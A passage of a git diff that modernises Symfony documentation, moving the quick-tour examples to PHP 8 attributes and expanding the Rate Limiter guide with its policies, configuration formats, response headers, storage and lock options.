feature you might ever need, a Symfony app is small, simple and *fast*. And you're in total control of what you add. @@ -53,7 +53,7 @@ It's a way for a library to automatically configure itself by adding and modifyi files. Thanks to recipes, adding features is seamless and automated: install a package and you're done! -You can find a full list of recipes and aliases by going to `https://flex.symfony.com`_. +You can find a full list of recipes and aliases inside `RECIPES.md on the recipes repository`_. What did this recipe do? In addition to automatically enabling the feature in ``config/bundles.php``, it added 3 things: @@ -75,28 +75,26 @@ Thanks to Flex, after one command, you can start using Twig immediately: .. code-block:: diff - <?php - // src/Controller/DefaultController.php - namespace App\Controller; + <?php + // src/Controller/DefaultController.php + namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; - - use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - -class DefaultController - +class DefaultController extends AbstractController - { - /** - * @Route("/hello/{name}") - */ - public function index($name) - { + - class DefaultController + + class DefaultController extends AbstractController + { + #[Route('/hello/{name}', methods: ['GET'])] + public function index(string $name): Response + { - return new Response("Hello $name!"); + return $this->render('default/index.html.twig', [ + 'name' => $name, + ]); - } - } + } + } By extending ``AbstractController``, you now have access to a number of shortcut methods and tools, like ``render()``. Create the new template: @@ -154,21 +152,19 @@ Rich API Support Are you building an API? You can already return JSON from any controller:: - <?php // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { // ... - /** - * @Route("/api/hello/{name}") - */ - public function apiExample($name) + #[Route('/api/hello/{name}', methods: ['GET'])] + public function apiHello(string $name): JsonResponse { return $this->json([ 'name' => $name, @@ -189,37 +185,28 @@ Security components, as well as the Doctrine ORM. In fact, Flex installed *5* re But like usual, we can immediately start using the new library. Want to create a rich API for a ``product`` table? Create a ``Product`` entity and give it the -``@ApiResource()`` annotation:: +``#[ApiResource]`` attribute:: - <?php // src/Entity/Product.php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use Doctrine\ORM\Mapping as ORM; - /** - * @ORM\Entity() - * @ApiResource() - */ + #[ORM\Entity] + #[ApiResource] class Product { - /** - * @ORM\Id - * @ORM\GeneratedValue(strategy="AUTO") - * @ORM\Column(type="integer") - */ - private $id; - - /** - * @ORM\Column(type="string") - */ - private $name; - - /** - * @ORM\Column(type="int") - */ - private $price; + #[ORM\Id] + #[ORM\GeneratedValue(strategy: 'AUTO')] + #[ORM\Column(type: 'integer')] + private int $id; + + #[ORM\Column(type: 'string')] + private string $name; + + #[ORM\Column(type: 'integer')] + private int $price; // ... } @@ -253,7 +240,7 @@ Not convinced yet? No problem: remove the library: $ composer remove api -Flex will *uninstall* the recipes: removing files and un-doing changes to put your +Flex will *uninstall* the recipes: removing files and undoing changes to put your app back in its original state. Experiment without worry. More Features, Architecture and Speed @@ -264,6 +251,6 @@ and it's the most important yet. I want to show you how Symfony empowers you to build features *without* sacrificing code quality or performance. It's all about the service container, and it's Symfony's super power. Read on: about :doc:`/quick_tour/the_architecture`. -.. _`https://flex.symfony.com`: https://flex.symfony.com +.. _`RECIPES.md on the recipes repository`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md .. _`API Platform`: https://api-platform.com/ .. _`Twig`: https://twig.symfony.com/ diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst index 69883859d53..3b66570b3d3 100644 --- a/quick_tour/the_architecture.rst +++ b/quick_tour/the_architecture.rst @@ -21,20 +21,18 @@ Want a logging system? No problem: This installs and configures (via a recipe) the powerful `Monolog`_ library. To use the logger in a controller, add a new argument type-hinted with ``LoggerInterface``:: - <?php // src/Controller/DefaultController.php namespace App\Controller; use Psr\Log\LoggerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { - /** - * @Route("/hello/{name}") - */ - public function index($name, LoggerInterface $logger) + #[Route('/hello/{name}', methods: ['GET'])] + public function index(string $name, LoggerInterface $logger): Response { $logger->info("Saying hello to $name!"); @@ -67,16 +65,13 @@ What other possible classes or interfaces could you use? Find out by running: # this is just a *small* sample of the output... Describes a logger instance. - Psr\Log\LoggerInterface (monolog.logger) + Psr\Log\LoggerInterface - alias:monolog.logger Request stack that controls the lifecycle of requests. - Symfony\Component\HttpFoundation\RequestStack (request_stack) - - Interface for the session. - Symfony\Component\HttpFoundation\Session\SessionInterface (session) + Symfony\Component\HttpFoundation\RequestStack - alias:request_stack RouterInterface is the interface that all Router classes must implement. - Symfony\Component\Routing\RouterInterface (router.default) + Symfony\Component\Routing\RouterInterface - alias:router.default [...] @@ -90,13 +85,12 @@ To keep your code organized, you can even create your own services! Suppose you want to generate a random greeting (e.g. "Hello", "Yo", etc). Instead of putting this code directly in your controller, create a new class:: - <?php // src/GreetingGenerator.php namespace App; class GreetingGenerator { - public function getRandomGreeting() + public function getRandomGreeting(): string { $greetings = ['Hey', 'Yo', 'Aloha']; $greeting = $greetings[array_rand($greetings)]; @@ -105,23 +99,21 @@ this code directly in your controller, create a new class:: } } -Great! You can use this immediately in your controller:: +Great! You can use it immediately in your controller:: - <?php // src/Controller/DefaultController.php namespace App\Controller; use App\GreetingGenerator; use Psr\Log\LoggerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { - /** - * @Route("/hello/{name}") - */ - public function index($name, LoggerInterface $logger, GreetingGenerator $generator) + #[Route('/hello/{name}', methods: ['GET'])] + public function index(string $name, LoggerInterface $logger, GreetingGenerator $generator): Response { $greeting = $generator->getRandomGreeting(); @@ -138,28 +130,26 @@ difference is that it's done in the constructor: .. code-block:: diff - <?php - // src/GreetingGenerator.php + <?php + // src/GreetingGenerator.php + use Psr\Log\LoggerInterface; - class GreetingGenerator - { - + private $logger; - + - + public function __construct(LoggerInterface $logger) - + { - + $this->logger = $logger; + class GreetingGenerator + { + + public function __construct( + + private LoggerInterface $logger, + + ) { + } - public function getRandomGreeting() - { - // ... + public function getRandomGreeting(): string + { + // ... - + $this->logger->info('Using the greeting: '.$greeting); + + $this->logger->info('Using the greeting: '.$greeting); - return $greeting; - } - } + return $greeting; + } + } Yes! This works too: no configuration, no time wasted. Keep coding! @@ -169,33 +159,23 @@ Twig Extension & Autoconfiguration Thanks to Symfony's service handling, you can *extend* Symfony in many ways, like by creating an event subscriber or a security voter for complex authorization rules. Let's add a new filter to Twig called ``greet``. How? Create a class -that extends ``AbstractExtension``:: +with your logic:: - <?php // src/Twig/GreetExtension.php namespace App\Twig; use App\GreetingGenerator; - use Twig\Extension\AbstractExtension; - use Twig\TwigFilter; + use Twig\Attribute\AsTwigFilter; - class GreetExtension extends AbstractExtension + class GreetExtension { - private $greetingGenerator; - - public function __construct(GreetingGenerator $greetingGenerator) - { - $this->greetingGenerator = $greetingGenerator; - } - - public function getFilters() - { - return [ - new TwigFilter('greet', [$this, 'greetUser']), - ]; + public function __construct( + private GreetingGenerator $greetingGenerator, + ) { } - public function greetUser($name) + #[AsTwigFilter('greet')] + public function greetUser(string $name): string { $greeting = $this->greetingGenerator->getRandomGreeting(); @@ -211,7 +191,7 @@ After creating just *one* file, you can use this immediately: {# Will print something like "Hey Symfony!" #} <h1>{{ name|greet }}</h1> -How does this work? Symfony notices that your class extends ``AbstractExtension`` +How does this work? Symfony notices that your class uses the ``#[AsTwigFilter]`` attribute and so *automatically* registers it as a Twig extension. This is called autoconfiguration, and it works for *many* many things. Create a class and then extend a base class (or implement an interface). Symfony takes care of the rest. @@ -244,31 +224,66 @@ whenever needed. But what about when you deploy to production? We will need to hide those tools and optimize for speed! -This is solved by Symfony's *environment* system and there are three: ``dev``, ``prod`` -and ``test``. Based on the environment, Symfony loads different files in the ``config/`` -directory: - -.. code-block:: text - - config/ - ├─ services.yaml - ├─ ... - └─ packages/ - ├─ framework.yaml - ├─ ... - ├─ **dev/** - ├─ monolog.yaml - └─ ... - ├─ **prod/** - └─ monolog.yaml - └─ **test/** - ├─ framework.yaml - └─ ... - └─ routes/ - ├─ annotations.yaml - └─ **dev/** - ├─ twig.yaml - └─ web_profiler.yaml +This is solved by Symfony's *environment* system. Symfony applications begin with +three environments: ``dev``, ``prod``, and ``test``. You can define options for +specific environments in the configuration files from the ``config/`` directory +using the special ``when@`` keyword: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/routing.yaml + framework: + router: + utf8: true + + when@prod: + framework: + router: + strict_requirements: null + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:router utf8="true"/> + </framework:config> + + <when env="prod"> + <framework:config> + <framework:router strict-requirements="null"/> + </framework:config> + </when> + </container> + + .. code-block:: php + + // config/packages/framework.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework, ContainerConfigurator $container): void { + $framework->router() + ->utf8(true) + ; + + if ('prod' === $container->env()) { + $framework->router() + ->strictRequirements(null) + ; + } + }; This is a *powerful* idea: by changing one piece of configuration (the environment), your app is transformed from a debugging-friendly experience to one that's optimized @@ -279,7 +294,7 @@ from ``dev`` to ``prod``: .. code-block:: diff - # .env + # .env - APP_ENV=dev + APP_ENV=prod @@ -290,8 +305,7 @@ Environment Variables --------------------- Every app contains configuration that's different on each server - like database -connection information or passwords. How should these be stored? In files? Or some -other way? +connection information or passwords. How should these be stored? In files? Or another way? Symfony follows the industry best practice by storing server-based configuration as *environment* variables. This means that Symfony works *perfectly* with @@ -321,10 +335,10 @@ Thanks to a new recipe installed by Flex, look at the ``.env`` file again: .. code-block:: diff - ###> symfony/framework-bundle ### - APP_ENV=dev - APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10 - ###< symfony/framework-bundle ### + ###> symfony/framework-bundle ### + APP_ENV=dev + APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10 + ###< symfony/framework-bundle ### + ###> doctrine/doctrine-bundle ### + # ... diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst index 4fae7ef5991..ba7cc78e28b 100644 --- a/quick_tour/the_big_picture.rst +++ b/quick_tour/the_big_picture.rst @@ -14,7 +14,7 @@ safe & easy!) and offers long-term support. Downloading Symfony ------------------- -First, make sure you've installed `Composer`_ and have PHP 7.1.3 or higher. +First, make sure you've installed `Composer`_ and have PHP 8.1 or higher. Ready? In a terminal, run: @@ -39,11 +39,11 @@ Symfony application: ├─ var/ └─ vendor/ -Can we already load the project in a browser? Yes! You can setup +Can we already load the project in a browser? Yes! You can set up :doc:`Nginx or Apache </setup/web_server_configuration>` and configure their document root to be the ``public/`` directory. But, for development, it's better -to :doc:`install the Symfony local web server </setup/symfony_server>` and run -it as follows: +to install the :doc:`Symfony CLI </setup/symfony_cli>` tool and run its +:ref:`local web server <symfony-cli-server>` as follows: .. code-block:: terminal @@ -52,8 +52,8 @@ it as follows: Try your new app by going to ``http://localhost:8000`` in a browser! .. image:: /_images/quick_tour/no_routes_page.png - :align: center - :class: with-browser + :alt: The default Symfony welcome page. + :class: with-browser Fundamentals: Route, Controller, Response ----------------------------------------- @@ -63,32 +63,19 @@ web app, or a microservice. Symfony starts small, but scales with you. But before we go too far, let's dig into the fundamentals by building our first page. -Start in ``config/routes.yaml``: this is where *we* can define the URL to our new -page. Uncomment the example that already lives in the file: - -.. code-block:: yaml - - # config/routes.yaml - index: - path: / - controller: 'App\Controller\DefaultController::index' - -This is called a *route*: it defines the URL to your page (``/``) and the "controller": -the *function* that will be called whenever anyone goes to this URL. That function -doesn't exist yet, so let's create it! - In ``src/Controller``, create a new ``DefaultController`` class and an ``index`` method inside:: - <?php // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController { - public function index() + #[Route('/', name: 'index')] + public function index(): Response { return new Response('Hello!'); } @@ -105,92 +92,64 @@ But the routing system is *much* more powerful. So let's make the route more int .. code-block:: diff - # config/routes.yaml - index: - - path: / - + path: /hello/{name} - controller: 'App\Controller\DefaultController::index' + // src/Controller/DefaultController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class DefaultController + { + - #[Route('/', name: 'index')] + + #[Route('/hello/{name}', name: 'index')] + public function index(): Response + { + return new Response('Hello!'); + } + } The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts like a wildcard that matches anything. And it gets better! Update the controller too: .. code-block:: diff - <?php - // src/Controller/DefaultController.php - namespace App\Controller; + <?php + // src/Controller/DefaultController.php + namespace App\Controller; - use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - class DefaultController - { + class DefaultController + { + #[Route('/hello/{name}', name: 'index')] - public function index() - + public function index($name) - { + + public function index(string $name): Response + { - return new Response('Hello!'); + return new Response("Hello $name!"); - } - } + } + } Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name`` argument in your controller. -But this can be even simpler! So let's install annotations support: - -.. code-block:: terminal - - $ composer require annotations - -Now, comment-out the YAML route by adding the ``#`` character: - -.. code-block:: yaml - - # config/routes.yaml - # index: - # path: /hello/{name} - # controller: 'App\Controller\DefaultController::index' - -Instead, add the route *right above* the controller method: - -.. code-block:: diff - - <?php - // src/Controller/DefaultController.php - namespace App\Controller; - - use Symfony\Component\HttpFoundation\Response; - + use Symfony\Component\Routing\Annotation\Route; - - class DefaultController - { - + /** - + * @Route("/hello/{name}") - + */ - public function index($name) { - // ... - } - } - -This works just like before! But by using annotations, the route and controller -live right next to each other. Need another page? Add another route and method -in ``DefaultController``:: +But by using attributes, the route and controller live right next to each +other. Need another page? Add another route and method in ``DefaultController``:: - <?php // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; class DefaultController { // ... - /** - * @Route("/simplicity") - */ - public function simple() + #[Route('/simplicity', methods: ['GET'])] + public function simple(): Response { return new Response('Simple! Easy! Great!'); } diff --git a/rate_limiter.rst b/rate_limiter.rst index 6fa7192945f..5fd453f0534 100644 --- a/rate_limiter.rst +++ b/rate_limiter.rst @@ -1,68 +1,114 @@ Rate Limiter ============ -.. versionadded:: 5.2 - - The RateLimiter component was introduced in Symfony 5.2 as an - :doc:`experimental feature </contributing/code/experimental>`. - A "rate limiter" controls how frequently some event (e.g. an HTTP request or a login attempt) is allowed to happen. Rate limiting is commonly used as a defensive measure to protect services from excessive use (intended or not) and maintain their availability. It's also useful to control your internal or outbound processes (e.g. limit the number of simultaneously processed messages). -Symfony uses these rate limiters in built-in features like "login throttling", +Symfony uses these rate limiters in built-in features like :ref:`login throttling <security-login-throttling>`, which limits how many failed login attempts a user can make in a given period of time, but you can use them for your own features too. -Rate Limiting Strategies ------------------------- +.. danger:: + + By definition, the Symfony rate limiters require Symfony to be booted + in a PHP process. This makes them not useful to protect against `DoS attacks`_. + Such protections must consume the least resources possible. Consider + using `Apache mod_ratelimit`_, `NGINX rate limiting`_, + `Caddy HTTP rate limit module`_ (also supported by FrankenPHP) + or proxies (like AWS or Cloudflare) to prevent your server from being overwhelmed. -Symfony's rate limiter implements some of the most common strategies to enforce -rate limits: **fixed window**, **sliding window** and **token bucket**. +.. _rate-limiter-policies: + +Rate Limiting Policies +---------------------- + +Symfony's rate limiter implements some of the most common policies to enforce +rate limits: **fixed window**, **sliding window**, **token bucket**. Fixed Window Rate Limiter ~~~~~~~~~~~~~~~~~~~~~~~~~ This is the simplest technique and it's based on setting a limit for a given -interval of time. For example: 5,000 requests per hour or 3 login attempts -every 15 minutes. +interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15 +minutes). + +In the diagram below, the limit is set to "5 tokens per hour". Each window +starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are +5 hits (the blue squares) in a window, all others will be rejected (red +squares). + +.. raw:: html + + <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml" + alt="A timeline showing fixed windows that accept a maximum of 5 hits." + ></object> Its main drawback is that resource usage is not evenly distributed in time and -it can overload the server at the window edges. In the previous example, a user -could make the 4,999 requests in the last minute of some hour and another 5,000 -requests during the first minute of the next hour, making 9,999 requests in -total in two minutes and possibly overloading the server. These periods of -excessive usage are called "bursts". +it can overload the server at the window edges. In this example, +there were 6 accepted requests between 11:00 and 12:00. + +This is more significant with bigger limits. For instance, with 5,000 requests +per hour, a user could make 4,999 requests in the last minute of some +hour and another 5,000 requests during the first minute of the next hour, +making 9,999 requests in total in two minutes and possibly overloading the +server. These periods of excessive usage are called "bursts". Sliding Window Rate Limiter ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The sliding window algorithm is an alternative to the fixed window algorithm -designed to reduce bursts. To do that, the rate limit is calculated based on -the current window and the previous window. +designed to reduce bursts. This is the same example as above, but then +using a 1 hour window that slides over the timeline: + +.. raw:: html + + <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml" + alt="The same timeline with a sliding window that accepts only 5 hits in the previous hour." + ></object> + +As you can see, this removes the edges of the window and would prevent the +6th request at 11:45. + +To achieve this, the rate limit is approximated based on the current window and +the previous window. For example: the limit is 5,000 requests per hour; a user made 4,000 requests the previous hour and 500 requests this hour. 15 minutes in to the current hour (25% of the window) the hit count would be calculated as: 75% * 4,000 + 500 = 3,500. At this point in time the user can only do 1,500 more requests. -The math shows that the closer the last window is, the more will the hit count -of the last window effect the current limit. This will make sure that a user can -do 5,000 requests per hour but only if they are spread out evenly. +The math shows that the closer the last window is, the more the hit count +of the last window will affect the current limit. This will make sure that a user can +do 5,000 requests per hour but only if they are evenly spread out. Token Bucket Rate Limiter ~~~~~~~~~~~~~~~~~~~~~~~~~ -This technique implements the `token bucket algorithm`_, which defines a -continuously updating budget of resource usage. It roughly works like this: +This technique implements the `token bucket algorithm`_, which defines +continuously updating the budget of resource usage. It roughly works like this: + +#. A bucket is created with an initial set of tokens; +#. A new token is added to the bucket with a predefined frequency (e.g. every second); +#. Allowing an event consumes one or more tokens; +#. If the bucket still contains tokens, the event is allowed; otherwise, it's denied; +#. If the bucket is at full capacity, new tokens are discarded. + +The below diagram shows a token bucket of size 4 that is filled with a rate +of 1 token per 15 minutes: + +.. raw:: html -* A bucket is created with an initial set of tokens; -* A new token is added to the bucket with a predefined frequency (e.g. every second); -* Allowing an event consumes one or more tokens; -* If the bucket still contains tokens, the event is allowed; otherwise, it's denied; -* If the bucket is at full capacity, new tokens are discarded. + <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml" + alt="A timeline showing the token bucket over time, as described in this section." + ></object> + +This algorithm handles more complex back-off burst management. +For instance, it can allow a user to try a password 5 times and then only +allow 1 every 15 minutes (unless the user waits 75 minutes and they will be +allowed 5 tries again). Installation ------------ @@ -80,20 +126,79 @@ Configuration The following example creates two different rate limiters for an API service, to enforce different levels of service (free or paid): -.. code-block:: yaml - - # config/packages/rate_limiter.yaml - framework: - rate_limiter: - anonymous_api: - # use 'sliding_window' if you prefer that strategy - strategy: 'fixed_window' - limit: 100 - interval: '60 minutes' - authenticated_api: - strategy: 'token_bucket' - limit: 5000 - rate: { interval: '15 minutes', amount: 500 } +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/rate_limiter.yaml + framework: + rate_limiter: + anonymous_api: + # use 'sliding_window' if you prefer that policy + policy: 'fixed_window' + limit: 100 + interval: '60 minutes' + authenticated_api: + policy: 'token_bucket' + limit: 5000 + rate: { interval: '15 minutes', amount: 500 } + + .. code-block:: xml + + <!-- config/packages/rate_limiter.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:rate-limiter> + <!-- policy: use 'sliding_window' if you prefer that policy --> + <framework:limiter name="anonymous_api" + policy="fixed_window" + limit="100" + interval="60 minutes" + /> + + <framework:limiter name="authenticated_api" + policy="token_bucket" + limit="5000" + > + <framework:rate interval="15 minutes" + amount="500" + /> + </framework:limiter> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/rate_limiter.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->rateLimiter() + ->limiter('anonymous_api') + // use 'sliding_window' if you prefer that policy + ->policy('fixed_window') + ->limit(100) + ->interval('60 minutes') + ; + + $framework->rateLimiter() + ->limiter('authenticated_api') + ->policy('token_bucket') + ->limit(5000) + ->rate() + ->interval('15 minutes') + ->amount(500) + ; + }; .. note:: @@ -111,9 +216,26 @@ at a rate of another 500 requests every 15 minutes. If you don't make that number of requests, the unused ones don't accumulate (the ``limit`` option prevents that number from being higher than 5,000). +.. tip:: + + All rate-limiters are tagged with the ``rate_limiter`` tag, so you can + find them with a :doc:`tagged iterator </service_container/tags>` or + :doc:`locator </service_container/service_subscribers_locators>`. + + .. versionadded:: 7.1 + + The automatic addition of the ``rate_limiter`` tag was introduced + in Symfony 7.1. + Rate Limiting in Action ----------------------- +.. versionadded:: 7.3 + + :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactoryInterface` was + added and should now be used for autowiring instead of + :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactory`. + After having installed and configured the rate limiter, inject it in any service or controller and call the ``consume()`` method to try to consume a given number of tokens. For example, this controller uses the previous rate limiter to control @@ -123,14 +245,16 @@ the number of requests to the API:: namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException; - use Symfony\Component\RateLimiter\RateLimiter; + use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; class ApiController extends AbstractController { // if you're using service autowiring, the variable name must be: - // "rate limiter name" (in camelCase) + "limiter" suffix - public function index(RateLimiter $anonymousApiLimiter) + // "rate limiter name" (in camelCase) + "Limiter" suffix + public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response { // create a limiter based on a unique identifier of the client // (e.g. the client's IP address, a username/email, an API key, etc.) @@ -146,10 +270,11 @@ the number of requests to the API:: // RateLimitExceededException if the limit has been reached // $limiter->consume(1)->ensureAccepted(); + // to reset the counter + // $limiter->reset(); + // ... } - - // ... } .. note:: @@ -171,11 +296,12 @@ using the ``reserve()`` method:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\RateLimiter\RateLimiter; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; class ApiController extends AbstractController { - public function registerUser(Request $request, RateLimiter $authenticatedApiLimiter) + public function registerUser(Request $request, RateLimiterFactoryInterface $authenticatedApiLimiter): Response { $apiKey = $request->headers->get('apikey'); $limiter = $authenticatedApiLimiter->create($apiKey); @@ -212,27 +338,336 @@ processes by reserving unused tokens. $limit->wait(); } while (!$limit->isAccepted()); -Rate Limiter Storage and Locking --------------------------------- +Exposing the Rate Limiter Status +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When using a rate limiter in APIs, it's common to include some standard HTTP +headers in the response to expose the limit status (e.g. remaining tokens, when +new tokens will be available, etc.) + +Use the :class:`Symfony\\Component\\RateLimiter\\RateLimit` object returned by +the ``consume()`` method (also available via the ``getRateLimit()`` method of +the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the +``reserve()`` method) to get the value of those HTTP headers:: + + // src/Controller/ApiController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; + + class ApiController extends AbstractController + { + public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response + { + $limiter = $anonymousApiLimiter->create($request->getClientIp()); + $limit = $limiter->consume(); + $headers = [ + 'X-RateLimit-Remaining' => $limit->getRemainingTokens(), + 'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp() - time(), + 'X-RateLimit-Limit' => $limit->getLimit(), + ]; + + if (false === $limit->isAccepted()) { + return new Response(null, Response::HTTP_TOO_MANY_REQUESTS, $headers); + } + + // ... + + $response = new Response('...'); + $response->headers->add($headers); + + return $response; + } + } + +.. _rate-limiter-storage: + +Storing Rate Limiter State +-------------------------- + +All rate limiter policies require to store their state (e.g. how many hits were +already made in the current time window). By default, all limiters use the +``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`. +This means that every time you clear the cache, the rate limiter will be reset. + +You can use the ``cache_pool`` option to override the cache used by a specific limiter +(or even :ref:`create a new cache pool <cache-create-pools>` for it): + +.. configuration-block:: -Rate limiters use the default cache and locking mechanisms defined in your -Symfony application. If you prefer to change that, use the ``lock`` and -``storage`` options: + .. code-block:: yaml -.. code-block:: yaml + # config/packages/rate_limiter.yaml + framework: + rate_limiter: + anonymous_api: + # ... - # config/packages/rate_limiter.yaml - framework: - rate_limiter: - anonymous_api_limiter: - # ... - # the value is the name of any cache pool defined in your application - cache_pool: 'app.redis_cache' - # or define a service implementing StorageInterface to use a different - # mechanism to store the limiter information - storage: 'App\RateLimiter\CustomRedisStorage' - # the value is the name of any lock defined in your application - lock: 'app.rate_limiter_lock' + # use the "cache.anonymous_rate_limiter" cache pool + cache_pool: 'cache.anonymous_rate_limiter' + + .. code-block:: xml + + <!-- config/packages/rate_limiter.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:rate-limiter> + <!-- cache-pool: use the "cache.anonymous_rate_limiter" cache pool --> + <framework:limiter name="anonymous_api" + policy="fixed_window" + limit="100" + interval="60 minutes" + cache-pool="cache.anonymous_rate_limiter" + /> + + <!-- ... --> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/rate_limiter.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->rateLimiter() + ->limiter('anonymous_api') + // ... + + // use the "cache.anonymous_rate_limiter" cache pool + ->cachePool('cache.anonymous_rate_limiter') + ; + }; + +.. note:: + + Instead of using the Cache component, you can also implement a custom + storage. Create a PHP class that implements the + :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and + use the ``storage_service`` setting of each limiter to the service ID + of this class. + +Using Locks to Prevent Race Conditions +-------------------------------------- + +`Race conditions`_ can happen when the same rate limiter is used by multiple +simultaneous requests (e.g. three servers of a company hitting your API at the +same time). Rate limiters use :doc:`locks </lock>` to protect their operations +against these race conditions. + +By default, if the :doc:`lock </lock>` component is installed, Symfony uses the +global lock configured by ``framework.lock``, but you can use a specific +:ref:`named lock <lock-named-locks>` via the ``lock_factory`` option (or none +at all): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/rate_limiter.yaml + framework: + rate_limiter: + anonymous_api: + # ... + + # use the "lock.rate_limiter.factory" for this limiter + lock_factory: 'lock.rate_limiter.factory' + + # or don't use any lock mechanism + lock_factory: null + + .. code-block:: xml + + <!-- config/packages/rate_limiter.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:rate-limiter> + <!-- limiter-factory: use the "lock.rate_limiter.factory" for this limiter --> + <framework:limiter name="anonymous_api" + policy="fixed_window" + limit="100" + interval="60 minutes" + lock-factory="lock.rate_limiter.factory" + /> + + <!-- limiter-factory: or don't use any lock mechanism --> + <framework:limiter name="anonymous_api" + policy="fixed_window" + limit="100" + interval="60 minutes" + lock-factory="null" + /> + + <!-- ... --> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/rate_limiter.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->rateLimiter() + ->limiter('anonymous_api') + // ... + + // use the 